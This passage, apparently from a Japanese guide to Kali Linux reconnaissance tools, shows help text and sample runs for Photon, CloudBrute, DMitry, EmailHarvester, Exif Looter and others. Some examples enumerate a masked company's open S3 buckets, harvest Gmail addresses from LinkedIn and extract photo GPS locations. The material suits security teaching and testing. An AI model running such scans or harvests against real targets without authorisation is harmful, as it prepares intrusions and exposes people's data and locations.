  --clone               clone the website locally
  --headers             add headers
  --dns                 enumerate subdomains and DNS data
  --keys                find secret keys
  --only-urls           only extract URLs
  --wayback             fetch URLs from archive.org as seeds

■ 使用例

root@kali:~# photon -u http://192.168.11.4 -l 3

[~] Level 1: 1 URLs
[!] Progress: 1/1
[~] Level 2: 5 URLs
[!] Progress: 5/5
[~] Level 3: 63 URLs
[!] Progress: 63/63
[~] Crawling 5 JavaScript files
[!] Progress: 5/5
--------------------------------------------------
[+] Files: 1
[+] Intel: 14
[+] Internal: 321
[+] Scripts: 5
[+] External: 298
[+] Fuzzable: 249
--------------------------------------------------
[!] Total requests made: 75
[!] Total time taken: 0 minutes 2 seconds
[!] Requests per second: 34
[+] Results saved in 192.168.11.4 directory

root@kali:~# ls 192.168.11.4
external.txt  files.txt  fuzzable.txt  intel.txt  internal.txt  scripts.txt

root@kali:~# cat 192.168.11.4/intel.txt
http://192.168.11.4/mutillidae/index.php?page=credits.php:mutillidae-development@gmail.com
http://192.168.11.4/twiki/TWikiDocumentation.html:secondary@home.com
http://192.168.11.4/twiki/TWikiDocumentation.html:name@domain.com
http://192.168.11.4/mutillidae/./index.php?page=browser-info.php:abuse@iana.org
[...]

root@kali:~# cat 192.168.11.4/internal.txt
http://192.168.11.4/mutillidae/././index.php?do=toggle-hints&page=set-background-color.php
http://192.168.11.4/mutillidae/./index.php?do=toggle-security&page=source-viewer.php
http://192.168.11.4/mutillidae/index.php?page=documentation/?page=add-to-your-blog.php
http://192.168.11.4/mutillidae/./index.php?do=toggle-hints&page=show-log.php
[...]

OSINT（Open Source Intelligence）

Bing-ip2hosts

指定したIPアドレスやホスト名をBing.comで検索し、その結果をスクレイピングしてホスト名を一覧表示します。

■ 使用方法

root@kali:~# bing-ip2hosts --help

Usage: /usr/bin/bing-ip2hosts [OPTIONS] IP|hostname

OPTIONS are:
-o FILE Output hostnames to FILE.
-i FILE Input list of IP addresses or hostnames from FILE.
-n NUM  Stop after NUM scraped pages return no new results (Default: 5).
-l      Select the language for use in the setlang parameter (Default: en-us).
-m      Select the market for use in the setmkt parameter (Default is unset).
-u      Only display hostnames. Default is to include URL prefixes.
-c      CSV output. Outputs the IP and hostname on each line, separated by a comma.
-q      Quiet. Disable output except for final results.
-t DIR  Use this directory instead of /tmp.
-V      Display the version number of bing-ip2hosts and exit.

■ 使用例

root@kali:~# bing-ip2hosts microsoft.com
[...]
[▊] /search?q=ip%3A20.70.246.20+.&qs=n&first=70&FORM=PERE&setlang=en-us&setmkt=
http://www.research.microsoft.com
https://startups.microsoft.com
http://www.msdn.microsoft.com
https://startups.microsoft.com
http://www.research.microsoft.com
https://startups.microsoft.com

Stopping after scraping 5 pages without any new results.
https://microsoft.com/
https://startups.microsoft.com/
https://www.microsoft.com/
http://www.msdn.microsoft.com/
http://www.research.microsoft.com/

✓ Found 5 results after scraping 8 pages.

root@kali:~# bing-ip2hosts 203.180.216.158
[...]
https://www.city.adachi.tokyo.jp/
https://www.city.hiroshima.lg.jp/
https://www.city.kawasaki.jp/
https://www.city.kumamoto.jp/
https://www.city.machida.tokyo.jp/
https://www.city.sendai.jp/
https://www.gotokyo.org/
https://www.iodata.jp/
https://www.nishitetsu.jp/
https://www.pref.kanagawa.jp/
https://www.pref.kumamoto.jp/
https://www.pref.osaka.lg.jp/

✓ Found 12 results after scraping 10 pages.

CertGraph

SSL証明書のサブジェクトの代替名をクローリングしてホスト名を収集します。

■ 使用方法

root@kali:~# certgraph --help

Usage of certgraph: [OPTION]... HOST...
        https://github.com/lanrat/certgraph
OPTIONS:
  -cdn
        include certificates from CDNs
  -ct-expired
        include expired certificates in certificate transparency search
  -ct-subdomains
        include sub-domains in certificate transparency search
  -depth uint
        maximum BFS depth to go (default 5)
  -details
        print details about the domains crawled
  -dns
        check for DNS records to determine if domain is registered
  -driver string
        driver to use [crtsh, google, http, smtp] (default "http")
  -json
        print the graph as json, can be used for graph in web UI
  -parallel uint
        number of certificates to retrieve in parallel (default 10)
  -sanscap int
        maximum number of uniq TLD+1 domains in certificate to include, 0 has no limit (default 80)
  -save string
        save certs to folder in PEM format
  -timeout uint
        tcp timeout in seconds (default 10)
  -tldplus1
        for every domain found, add tldPlus1 of the domain\'s parent
  -updatepsl
        Update the default Public Suffix List
  -verbose
        verbose logging
  -version
        print version and exit

■ 使用例

root@kali:~# certgraph yahoo.co.jp
yahoo.co.jp
info.hatalike.yahoo.co.jp
edge01.yahoo.co.jp
snsimg.carview.co.jp
digitalguide.jp
yimg.jp
yjtag.jp
shopping.yahooapis.jp
ms.yahoo.co.jp
mkimg.carview.co.jp
xml.listing.yahoo.co.jp
search.yahooapis.jp
frame.games.yahoo.co.jp
auctions.yahooapis.jp
store.yahoo.co.jp
[...]

cloud_enum

ターゲットとなる企業などのクラウドサービス上の公開リソース（オブジェクトストレージなど）を探索します。

[対応クラウド]

Amazon
Google
Microsoft

■ 使用方法

root@kali:~# cloud_enum --help

usage: cloud_enum [-h] (-k KEYWORD | -kf KEYFILE) [-m MUTATIONS] [-b BRUTE] [-t THREADS] [-ns NAMESERVER] [-l LOGFILE] [-f FORMAT]
                  [--disable-aws] [--disable-azure] [--disable-gcp] [-qs]

options:
  -h, --help            show this help message and exit
  -k KEYWORD, --keyword KEYWORD
                        Keyword. Can use argument multiple times.
  -kf KEYFILE, --keyfile KEYFILE
                        Input file with a single keyword per line.
  -m MUTATIONS, --mutations MUTATIONS
                        Mutations. Default: /usr/lib/cloud-enum/enum_tools/fuzz.txt
  -b BRUTE, --brute BRUTE
                        List to brute-force Azure container names. Default: /usr/lib/cloud-enum/enum_tools/fuzz.txt
  -t THREADS, --threads THREADS
                        Threads for HTTP brute-force. Default = 5
  -ns NAMESERVER, --nameserver NAMESERVER
                        DNS server to use in brute-force.
  -l LOGFILE, --logfile LOGFILE
                        Appends found items to specified file.
  -f FORMAT, --format FORMAT
                        Format for log file (text,json,csv) - default: text
  --disable-aws         Disable Amazon checks.
  --disable-azure       Disable Azure checks.
  --disable-gcp         Disable Google checks.
  -qs, --quickscan      Disable all mutations and second-level scans

■ 使用例

root@kali:~# cloud_enum -k ***** --disable-azure --disable-gcp

Keywords:    *****
Mutations:   /usr/lib/cloud-enum/enum_tools/fuzz.txt
Brute-list:  /usr/lib/cloud-enum/enum_tools/fuzz.txt

[+] Mutations list imported: 242 items
[+] Mutated results: 1453 items

++++++++++++++++++++++++++
      amazon checks
++++++++++++++++++++++++++

[+] Checking for S3 buckets
  Protected S3 Bucket: http://*****.s3.amazonaws.com/
  OPEN S3 BUCKET: http://*****-api.s3.amazonaws.com/
      FILES:
      ->http://*****-api.s3.amazonaws.com/*****-api
      ->http://*****-api.s3.amazonaws.com/404.html
      ->http://*****-api.s3.amazonaws.com/*****Search.html
      ->http://*****-api.s3.amazonaws.com/favicon.ico
      ->http://*****-api.s3.amazonaws.com/index.html
      ->http://*****-api.s3.amazonaws.com/index_test.html
  Protected S3 Bucket: http://*****-app.s3.amazonaws.com/
  Protected S3 Bucket: http://*****-cloud.s3.amazonaws.com/
  Protected S3 Bucket: http://*****.com.s3.amazonaws.com/
  Protected S3 Bucket: http://*****-db.s3.amazonaws.com/
[...]
[+] Checking for AWS Apps
[*] Brute-forcing a list of 1453 possible DNS names
    [!] DNS Timeout on *****-2.awsapps.com. Investigate if there are many of these.
    [!] DNS Timeout on bamboo.*****.awsapps.com. Investigate if there are many of these.
    [!] DNS Timeout on club*****.awsapps.com. Investigate if there are many of these.
    [!] DNS Timeout on club-*****.awsapps.com. Investigate if there are many of these.
    [!] DNS Timeout on *****qa.awsapps.com. Investigate if there are many of these.
[...]

CloudBrute

ターゲットとなる企業などのクラウドサービス上の公開リソース（オブジェクトストレージなど）を探索します。

[対応クラウド]

Amazon
Google
Microsoft
DigitalOcean
Alibaba
Vultr
Linode

■ 使用方法

root@kali:~# cloudbrute --help

usage: CloudBrute [-h|--help] -d|--domain "<value>" -k|--keyword "<value>"
                  -w|--wordlist "<value>" [-c|--cloud "<value>"] [-t|--threads
                  <integer>] [-T|--timeout <integer>] [-p|--proxy "<value>"]
                  [-a|--randomagent "<value>"] [-D|--debug] [-q|--quite]
                  [-m|--mode "<value>"] [-o|--output "<value>"]
                  [-C|--configFolder "<value>"]

                  Awesome Cloud Enumerator

Arguments:

  -h  --help          Print help information
  -d  --domain        domain
  -k  --keyword       keyword used to generator urls
  -w  --wordlist      path to wordlist
  -c  --cloud         force a search, check config.yaml providers list
  -t  --threads       number of threads. Default: 80
  -T  --timeout       timeout per request in seconds. Default: 10
  -p  --proxy         use proxy list
  -a  --randomagent   user agent randomization
  -D  --debug         show debug logs. Default: false
  -q  --quite         suppress all output. Default: false
  -m  --mode          storage or app. Default: storage
  -o  --output        Output file. Default: out.txt
  -C  --configFolder  Config path. Default: /etc/cloudbrute/config

■ 使用例

# 指定したキーワード*****と単語リストを使って該当するクラウドストレージを走査
# 指定したドメインはクラウドプロバイダーの特定に使用（正引きでIPアドレスを取得しIPinfoのAPIでGEO情報を使って割り出す）
root@kali:~# cloudbrute -d *****.jp -k ***** -m storage -w /usr/share/cloudbrute/data/storage_small.txt
[...]
3:25AM INF Detect config path: /etc/cloudbrute/config/config.yaml
3:25AM INF Detect provider path: /etc/cloudbrute/config/modules
3:25AM INF Initialized scan config
3:25AM INF amazon detected
3:25AM INF Initialized amazon config
 80 / 336 [================================>--------------------------------------------------------------------------------------------------------]  23.81% 00m04s
 3:25AM WRN 403: Protected - *****-demo.s3.amazonaws.com
 336 / 336 [============================================================================================================================================] 100.00% 4s

DMitry

WHOIS情報やサブドメインの検索、メールアドレスの収集、ポートスキャンの実行などをまとめて行います。

■ 使用方法

root@kali:~# dmitry --help

Usage: dmitry [-winsepfb] [-t 0-9] [-o %host.txt] host
  -o     Save output to %host.txt or to file specified by -o file
  -i     Perform a whois lookup on the IP address of a host
  -w     Perform a whois lookup on the domain name of a host
  -n     Retrieve Netcraft.com information on a host
  -s     Perform a search for possible subdomains
  -e     Perform a search for possible email addresses
  -p     Perform a TCP port scan on a host
* -f     Perform a TCP port scan on a host showing output reporting filtered ports
* -b     Read in the banner received from the scanned port
* -t 0-9 Set the TTL in seconds when scanning a TCP port ( Default 2 )
*Requires the -p flagged to be passed

■ 使用例

root@kali:~# dmitry -winsepo result.txt example.com
[...]

HostIP:93.184.215.14
HostName:example.com

Gathered Inet-whois information for 93.184.215.14
---------------------------------


inetnum:        93.184.212.0 - 93.184.215.255
netname:        EDGECAST-NETBLK-03
descr:          NETBLK-03-EU-93-184-212-0-22
country:        EU
[...]
Gathered Inic-whois information for example.com
---------------------------------
   Domain Name: EXAMPLE.COM
   Registry Domain ID: 2336799_DOMAIN_COM-VRSN
   Registrar WHOIS Server: whois.iana.org
   Registrar URL: http://res-dom.iana.org
   Updated Date: 2024-08-14T07:01:34Z
   Creation Date: 1995-08-14T04:00:00Z
   Registry Expiry Date: 2025-08-13T04:00:00Z
   Registrar: RESERVED-Internet Assigned Numbers Authority
[...]
Gathered Subdomain information for example.com
---------------------------------
Searching Google.com:80...
HostName:www.example.com
HostIP:93.184.215.14
HostName:WWW.example.com
HostIP:93.184.215.14
Searching Altavista.com:80...
Found 2 possible subdomain(s) for host example.com, Searched 0 pages containing 0 results
[...]
Gathered E-Mail information for example.com
---------------------------------
Searching Google.com:80...
someone@example.com
info@example.com
example@example.com
name@example.com
someoneelse@example.com
[...]
Gathered TCP Port information for 93.184.215.14
---------------------------------

 Port           State

80/tcp          open

Portscan Finished: Scanned 150 ports, 0 ports were in state closed

EmailHarvester

主要な検索エンジンを使用してメールアドレスを収集します。

■ 使用方法

root@kali:~# emailharvester --help

usage: EmailHarvester.py [-h] [-d DOMAIN] [-s FILE] [-e ENGINE] [-l LIMIT] [-u USER-AGENT] [-x PROXY] [--noprint] [-r EXCLUDED_PLUGINS] [-p]

options:
  -h, --help            show this help message and exit
  -d DOMAIN, --domain DOMAIN
                        Domain to search.
  -s FILE, --save FILE  Save the results into a TXT and XML file (both).
  -e ENGINE, --engine ENGINE
                        Select search engine plugin(eg. '-e google').
  -l LIMIT, --limit LIMIT
                        Limit the number of results.
  -u USER-AGENT, --user-agent USER-AGENT
                        Set the User-Agent request header.
  -x PROXY, --proxy PROXY
                        Setup proxy server (eg. '-x http://127.0.0.1:8080')
  --noprint             EmailHarvester will print discovered emails to terminal. It is possible to tell EmailHarvester not to print results to terminal with this option.
  -r EXCLUDED_PLUGINS, --exclude EXCLUDED_PLUGINS
                        Plugins to exclude when you choose 'all' for search engine (eg. '-r google,twitter')
  -p, --list-plugins    List all available plugins.

■ 使用例

# LinkedIn上のGMailアドレスを検索エンジンを使用して取得
root@kali:~# emailharvester -d gmail.com -e linkedin
[+] User-Agent in use: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1
[+] Searching in Linkedin
[+] Searching in Yahoo + Linkedin: 101 results
[+] Searching in Bing + Linkedin: 50 results
[+] Searching in Bing + Linkedin: 100 results
[+] Searching in Google + Linkedin: 100 results
[+] Searching in Baidu + Linkedin: 10 results
[+] Searching in Baidu + Linkedin: 20 results
[+] Searching in Baidu + Linkedin: 30 results
[+] Searching in Baidu + Linkedin: 40 results
[+] Searching in Baidu + Linkedin: 50 results
[+] Searching in Baidu + Linkedin: 60 results
[+] Searching in Baidu + Linkedin: 70 results
[+] Searching in Baidu + Linkedin: 80 results
[+] Searching in Baidu + Linkedin: 90 results
[+] Searching in Baidu + Linkedin: 100 results
[+] Searching in Exalead + Linkedin: 50 results
[+] Searching in Exalead + Linkedin: 100 results
[+] Emails found: 82
******@gmail.com
******@gmail.com
******@gmail.com
******@gmail.com
******@gmail.com

Exif Looter

画像のExif情報に含まれる位置情報を抽出します。

■ 使用方法

root@kali:~# exiflooter --help

Usage:
  exifLooter [flags]

Flags:
  -d, --directory string   Specify a directory for Analyzing
  -h, --help               help for exifLooter
  -i, --image string       Specify a image for Analyzing
  -m, --open-street-map    Get Open Street Map Link
  -p, --pipe               Pipe with other scripts
  -r, --remove             Remove metadata from Image

■ 使用例

# 使用画像：https://github.com/ianare/exif-samples
root@kali:~# exiflooter -i DSCN0010.jpg -m
GPS Latitude Ref: North
GPS Longitude Ref: East
GPS Altitude Ref: Above Sea Level
GPS Time Stamp: 14
GPS Satellites: 06
GPS Img Direction Ref: Unknown ()
GPS Map Datum: WGS-84
GPS Date Stamp: 2008
GPS Date/Time: 2008
GPS Latitude: 43 deg 28´ 2.81″ N
GPS Longitude: 11 deg 53´ 6.46″ E
GPS Position: 43 deg 28´ 2.81″ N, 11 deg 53´ 6.46″ E
EXIF Geolocation Data Not Stripped From Uploaded Images
https://www.openstreetmap.org/?mlat=43.467448&mlon=11.885127&zoom=12

作成されたリンクをブラウザで確認

Exifprobe

画像のファイル構造や補助データ、メタデータを出力します。

■ 使用方法

root@kali:~# exifprobe -h

Usage:
exifprobe [options] filenames(s)
        -h - print this help message
        -V - print program version and copyright

        -R - Report mode: only tagnames and decimal values, indented, inline
        -S - Structure mode: everything, offset values not inline (default)
        -L - List mode: list all tags and values (only); no structure
        -Z - Zero (turn off) all output flags

        -a - toggle print addresses in hex and decimal
        -D - toggle print enabled addresses, tag numbers and values in decimal only
        -X - toggle print enabled addresses, tag numbers and values in hex only
        -I - toggle indent (after address -> before -> none)
        -i - toggle "inline" print of IFD values
        -n - toggle printing of filename at start of each output line
        -c - toggle use of color to highlight certain sections
        -u - print all 16 bits of unicode data

        -p[items] - toggle print identifiers for:
                s - sections
                g - segments
                e - IFD entries
                a - expand known entries in APP0...APPN segents
                m - print MakerNote scheme detection info
                M - debug MakerNote scheme detection info
                l - long tagnames (default in List mode)

        -e[items] - toggle print IFD entry items:
                t - tagname
                n - tag number in decimal
                N - tag number in hex
                T - entry type
                v - value in decimal
                V - value in hex
                o - file offset to value in decimal
                O - file offset to value in hex
                r - relative (unadjusted) offset in decimal
                R - print "raw" values where expansion of values is needed
                a - print ascii strings until null, rather than by length
                A - print ALL elements of multiple-value tags

        -M[len|a] - hex/ascii dump 'len' (or all) bytes of unknown MakerNotes
        -A[len|a] - hex/ascii dump 'len' (or all) bytes of unknown APPn segments
        -U[len|a] - hex/ascii dump 'len' (or all) bytes of UNDEFINED data of unknown format
        -B[len|a] - hex/ascii dump 'len' (or all) bytes of binary images or invalid JPEG data
        -N[num]   - force noteversion 'num' for MakerNote interpretation
        -m[name]  - force use of maker 'name' to select MakerNote interpretation routines
        -l[model] - force use of 'model' to select MakerNote interpretation routines

        -O[offset]       - start processing at 'offset' in file
        -C[make]+[model] - print makes matching 'make', models matching 'model' (substrings)

■ 使用例

# 使用画像：https://github.com/ianare/exif-samples
root@kali:~# exifprobe DSCN0010.jpg
File Name = DSCN0010.jpg
File Type = JPEG
File Size = 161713
@000000000=0       :  <JPEG_SOI>
@0x0000002=2       :    <JPEG_APP1> 0xffe1 length 11258, 'Exif'
@0x000000c=12      :      TIFF(II=0x4949) magic=0x002a='*\0' ifd offset = 8 (+ 12 = 0x14/20)
@0x0000014=20      :      <IFD 0> 12 entries starting at file offset 0x16=22
@0x0000016=22      :        <0x010e=  270> ImageDescription            [2 =ASCII        32]  = @0xaa=170
@0x0000022=34      :        <0x010f=  271> Make                        [2 =ASCII         6]  = @0xca=202
[...]
@0x00000a6=166     :        **** next IFD offset 4454(+ 12 = 0x1172/4466)
@0x00000aa=170     :        ============= VALUES, IFD 0 ============
@0x00000aa=170     :        ImageDescription            = '                               \0'
@0x00000ca=202     :        Make                        = 'NIKON\0'
@0x00000d0=208     :        Model                       = 'COOLPIX P6000\0'
@0x00000de=222     :        XResolution                 = 300
@0x00000e6=230     :        YResolution                 = 300
@0x00000ee=238     :        Software                    = 'Nikon Transfer 1.1 W\0'
@0x0000104=260     :        DateTime                    = '2008:11:01 21:15:07\0'
@0x0000118=280     :        <EXIF IFD> (in IFD 0) 34 entries starting at file offset 0x11a=282
@0x000011a=282     :          <0x829a=33434> ExposureTime                [5 =RATIONAL      1]  = @0x2b6=694
@0x0000126=294     :          <0x829d=33437> FNumber                     [5 =RATIONAL      1]  = @0x2be=702
[...]
@0x00002b2=690     :          **** next IFD offset 0
@0x00002b6=694     :          ============= VALUES, EXIF IFD ============
@0x00002b6=694     :          ExposureTime                = 0.0133333 sec
@0x00002be=702     :          FNumber                     = 5.9 APEX = 'f7.7'
@0x00002c6=710     :          DateTimeOriginal            = '2008:10:22 16:28:39\0'
@0x00002da=730     :          DateTimeDigitized           = '2008:10:22 16:28:39\0'
@0x00002ee=750     :          ExposureBiasValue           = 0 APEX
@0x00002f6=758     :          MaxApertureValue            = 2.9 APEX = 'f2.7'
@0x00002fe=766     :          FocalLength                 = 24 mm
[...]
-0x000116b=4459    :        </EXIF IFD>
@0x00003aa=938     :        <GPS IFD> (in IFD 0) 10 entries starting at file offset 0x3ac=940
@0x00003ac=940     :          <0x0001=    1> LatitudeRef                 [2 =ASCII         2]  = 'N'
@0x00003b8=952     :          <0x0002=    2> Latitude                    [5 =RATIONAL      3]  = @0x428=1064
[...]
@0x0000424=1060    :          **** next IFD offset 0
@0x0000428=1064    :          ============= VALUES, GPS IFD ============
@0x0000428=1064    :          Latitude                    = 43,28,2.814
@0x0000440=1088    :          Longitude                   = 11,53,6.456
@0x0000458=1112    :          TimeStamp                   = 14,27,7.24
@0x0000470=1136    :          MapDatum                    = 'WGS-84   \0'
@0x000047a=1146    :          DateStamp                   = '2008:10:23\0'
-0x0000484=1156    :        </GPS IFD>
@0x000116b=4459    :      </IFD 0>
@0x0001172=4466    :      <IFD 1> 6 entries starting at file offset 0x1174=4468
@0x0001174=4468    :        <0x0103=  259> Compression                 [3 =SHORT         1]  = 6 = 'Exif/old JPEG'
@0x0001180=4480    :        <0x011a=  282> XResolution                 [5 =RATIONAL      1]  = @0x11c0=4544
[...]
@0x0002bfd=11261   :      </IFD 1>
-0x0002bfd=11261   :    </JPEG_APP1>
@0x0002bfe=11262   :    <JPEG_DQT> length 197
@0x0002cc5=11461   :    <JPEG_DHT> length 418 table class = 0 table id = 0
@0x0002e69=11881   :    <JPEG_SOF_0> length 17, 8 bits/sample, components=3, width=640, height=480
@0x0002e7c=11900   :    <JPEG_APP1> 0xffe1 length 4031, 'http://ns.adobe.com/xap/1.0/' - unknown format - (not dumped: use -A)
-0x0003e3c=15932   :    </JPEG_APP1>
@0x0003e3d=15933   :    <JPEG_SOS> length 12  start of JPEG data, 3 components 307200 pixels
@0x00277af=161711  :  <JPEG_EOI> JPEG length 161713
-0x00277b0=161712  :  END OF FILE
@000000000=0       :  Start of JPEG baseline DCT compressed primary image [640x480] length 161713
-0x00277b0=161712  :    End of JPEG primary image data
@0x00011d0=4560    :  Start of JPEG baseline DCT compressed reduced-resolution image [160x120] length 6702 (IFD 1)
-0x0002bfd=11261   :    End of JPEG reduced-resolution image data
Number of images = 2
File Format = JPEG/APP1/TIFF/EXIF # with MakerNote (Nikon Corporation [2])

ExifTool

様々なファイルのメタ情報の読み書きを行います。

■ 使用方法

root@kali:~# man exiftool

SYNOPSIS
   Reading
       exiftool [OPTIONS] [-TAG...] [--TAG...] FILE...

   Writing
       exiftool [OPTIONS] -TAG[+-<]=[VALUE]... FILE...

   Copying
       exiftool [OPTIONS] -tagsFromFile SRCFILE [-[DSTTAG<]SRCTAG...] FILE...

   Other
       exiftool [ -ver | -list[w|f|r|wf|g[NUM]|d|x] ]

       For specific examples, see the EXAMPLES sections below.

OPTIONS
   Option Overview
       Tag operations

         -TAG or --TAG                    Extract or exclude specified tag
         -TAG[+-^]=[VALUE]                Write new value for tag
         -TAG[+-]<=DATFILE                Write tag value from contents of file
         -[+]TAG[+-]<SRCTAG               Copy tag value (see -tagsFromFile)

         -tagsFromFile SRCFILE            Copy tag values from file
         -x TAG      (-exclude)           Exclude specified tag

       Input-output text formatting

         -args       (-argFormat)         Format metadata as exiftool arguments
         -b          (-binary)            Output metadata in binary format
         -c FMT      (-coordFormat)       Set format for GPS coordinates
         -charset [[TYPE=]CHARSET]        Specify encoding for special characters
         -csv[[+]=CSVFILE]                Export/import tags in CSV format
         -csvDelim STR                    Set delimiter for CSV file
         -d FMT      (-dateFormat)        Set format for date/time values
         -D          (-decimal)           Show tag ID numbers in decimal
         -E,-ex,-ec  (-escape(HTML|XML|C))Escape tag values for HTML, XML or C
         -f          (-forcePrint)        Force printing of all specified tags
         -g[NUM...]  (-groupHeadings)     Organize output by tag group
         -G[NUM...]  (-groupNames)        Print group name for each tag
         -h          (-htmlFormat)        Use HTML formatting for output
         -H          (-hex)               Show tag ID numbers in hexadecimal
         -htmlDump[OFFSET]                Generate HTML-format binary dump
         -j[[+]=JSONFILE] (-json)         Export/import tags in JSON format
         -l          (-long)              Use long 2-line output format
         -L          (-latin)             Use Windows Latin1 encoding
         -lang [LANG]                     Set current language
         -listItem INDEX                  Extract specific item from a list
         -n          (--printConv)        No print conversion
         -p[-] STR   (-printFormat)       Print output in specified format
         -php                             Export tags as a PHP Array
         -s[NUM]     (-short)             Short output format (-s for tag names)
         -S          (-veryShort)         Very short output format
         -sep STR    (-separator)         Set separator string for list items
         -sort                            Sort output alphabetically
         -struct                          Enable output of structured information
         -t          (-tab)               Output in tab-delimited list format
         -T          (-table)             Output in tabular format
         -v[NUM]     (-verbose)           Print verbose messages
         -w[+|!] EXT (-textOut)           Write (or overwrite!) output text files
         -W[+|!] FMT (-tagOut)            Write output text file for each tag
         -Wext EXT   (-tagOutExt)         Write only specified file types with -W
         -X          (-xmlFormat)         Use RDF/XML output format

     Processing control

         -a          (-duplicates)        Allow duplicate tags to be extracted
         -e          (--composite)        Do not generate composite tags
         -ee[NUM]    (-extractEmbedded)   Extract information from embedded files
         -ext[+] EXT (-extension)         Process files with specified extension
         -F[OFFSET]  (-fixBase)           Fix the base for maker notes offsets
         -fast[NUM]                       Increase speed when extracting metadata
         -fileOrder[NUM] [-]TAG           Set file processing order
         -i DIR      (-ignore)            Ignore specified directory name
         -if[NUM] EXPR                    Conditionally process files
         -m          (-ignoreMinorErrors) Ignore minor errors and warnings
         -o OUTFILE  (-out)               Set output file or directory name
         -overwrite_original              Overwrite original by renaming tmp file
         -overwrite_original_in_place     Overwrite original by copying tmp file
         -P          (-preserve)          Preserve file modification date/time
         -password PASSWD                 Password for processing protected files
         -progress[NUM][:[TITLE]]         Show file progress count
         -q          (-quiet)             Quiet processing
         -r[.]       (-recurse)           Recursively process subdirectories
         -scanForXMP                      Brute force XMP scan
         -u          (-unknown)           Extract unknown tags
         -U          (-unknown2)          Extract unknown binary tags too
         -wm MODE    (-writeMode)         Set mode for writing/creating tags
         -z          (-zip)               Read/write compressed information

    Other options

         -@ ARGFILE                       Read command-line arguments from file
         -k          (-pause)             Pause before terminating
         -list[w|f|wf|g[NUM]|d|x]         List various exiftool capabilities
         -ver                             Print exiftool version number
         --                               End of options

       Special features

         -geotag TRKFILE                  Geotag images from specified GPS log
         -globalTimeShift SHIFT           Shift all formatted date/time values
         -use MODULE                      Add features from plug-in module

       Utilities

         -delete_original[!]              Delete "_original" backups
         -restore_original                Restore from "_original" backups

       Advanced options

         -api OPT[[^]=[VAL]]              Set ExifTool API option
         -common_args                     Define common arguments
         -config CFGFILE                  Specify configuration file name
         -echo[NUM] TEXT                  Echo text to stdout or stderr
         -efile[NUM][!] ERRFILE           Save names of files with errors
         -execute[NUM]                    Execute multiple commands on one line
         -fileNUM ALTFILE                 Load tags from alternate file
         -list_dir                        List directories, not their contents
         -srcfile FMT                     Process a different source file
         -stay_open FLAG                  Keep reading -@ argfile even after EOF
         -userParam PARAM[[^]=[VAL]]      Set user parameter (API UserParam opt)

■ 使用例

root@kali:~# exiftool example.jpg
File Size                       : 162 kB
File Type                       : JPEG
MIME Type                       : image/jpeg
Exif Byte Order                 : Little-endian (Intel, II)
Image Description               :
Make                            : NIKON
Camera Model Name               : COOLPIX P6000
Orientation                     : Horizontal (normal)
X Resolution                    : 300
Y Resolution                    : 300
Resolution Unit                 : inches
Software                        : Nikon Transfer 1.1 W
[...]

root@kali:~# exiftool example.mp3
File Size                       : 49 kB
File Type                       : MP3
MIME Type                       : audio/mpeg
MPEG Audio Version              : 1
Audio Layer                     : 3
Audio Bitrate                   : 64 kbps
Sample Rate                     : 48000
Channel Mode                    : Stereo
[...]

root@kali:~# exiftool example.docx
File Size                       : 4.1 kB
File Type                       : DOCX
MIME Type                       : application/vnd.openxmlformats-officedocument.wordprocessingml.document
Zip Required Version            : 20
Zip Bit Flag                    : 0x0808
Zip Compression                 : Deflated
Zip Modify Date                 : 2016:10:07 13:21:00
[...]

root@kali:~# exiftool example.epub
File Size                       : 4.1 MB
File Type                       : EPUB
MIME Type                       : application/epub+zip
Identifier Id                   : pub-identifier
Identifier                      : urn:isbn:9781449328030
Title Id                        : pub-title
Title                           : Accessible EPUB 3
[...]

Exiv2

画像のメタデータの読み書き、削除、編集を行います。

■ 使用方法

root@kali:~# exiv2 -h

Usage: exiv2 [ option [ arg ] ]+ [ action ] file ...

Where file is one or more files, optionally containing a URL
(http, https, ftp, sftp, data or file) or wildcard

Actions:
  pr | print    Print image metadata (default is a summary). This is the default
                action
  ad | adjust   Adjust Exif timestamps by the given time. Requires
                at least one of -a, -Y, -O or -D
  rm | delete   Deletes image metadata, use -d to choose type to delete
                (default is all)
  in | insert   Insert metadata from .exv, .xmp, thumbnail or .icc file.
                Use option -S to change the suffix of the input files and
                -l to change the location
  ex | extract  Extract metadata to .exv, .xmp, preview image, thumbnail,
                or ICC profile. Use option -S to change the suffix of the input
                files and -l to change the location
  mv | rename   Rename files and/or set file timestamps according to the
                Exif timestamps. The filename format can be set with
                -r format, timestamp options are controlled with -t and -T
  mo | modify   Apply commands to modify the Exif, IPTC and XMP metadata.
                Requires option -m or -M
  fi | fixiso   Copy ISO setting from Canon and Nikon makernotes, to the
                standard Exif tag
  fc | fixcom   Convert the Unicode Exif user comment to UCS-2. The current
                character encoding can be specified with the -n option

Options:
   -h      Display this help and exit
   -V      Show the program version and exit
   -v      Be verbose during the program run
   -q      Silence warnings and error messages (quiet)
   -Q lvl  Set log-level to d(ebug), i(nfo), w(arning), e(rror) or m(ute)
   -b      Obsolete, reserved for use with the test suit
   -u      Show unknown tags (e.g., Exif.SonyMisc3c.0x022b)
   -g str  Only output where 'str' matches in output text (grep)
           Append /i to 'str' for case insensitive
   -K key  Only output where 'key' exactly matches tag\'s key
   -n enc  Character set to decode Exif Unicode user comments
   -k      Preserve file timestamps when updating files (keep)
   -t      Set the file timestamp from Exif metadata when renaming (overrides -k)
   -T      Only set the file timestamp from Exif metadata ('rename' action)
   -f      Do not prompt before overwriting existing files (force)
   -F      Do not prompt before renaming files (Force)
   -a time Time adjustment in the format [+|-]HH[:MM[:SS]]. For 'adjust' action
   -Y yrs  Year adjustment with the 'adjust' action
   -O mon  Month adjustment with the 'adjust' action
   -D day  Day adjustment with the 'adjust' action
   -p mode Print mode for the 'print' action. Possible modes are:
             s : A summary of the Exif metadata (the default)
             a : Exif, IPTC and XMP tags (shortcut for -Pkyct)
             e : Exif tags (shortcut for -PEkycv)
             t : Interpreted (translated) Exif tags (-PEkyct)
             v : Plain (untranslated) Exif tags values (-PExgnycv)
             h : Hex dump of the Exif tags (-PExgnycsh)
             i : IPTC tags (-PIkyct)
             x : XMP tags (-PXkyct)
             c : JPEG comment
             p : List available image preview, sorted by size
             C : Print ICC profile
             R : Recursive print structure of image (debug build only)
             S : Print structure of image (limited file types)
             X : Extract "raw" XMP
   -P flgs Print flags for fine control of tag lists ('print' action):
             E : Exif tags
             I : IPTC tags
             X : XMP tags
             x : Tag number for Exif or IPTC tags (in hexadecimal)
             g : Group name (e.g. Exif.Photo.UserComment, Photo)
             k : Key (e.g. Exif.Photo.UserComment)
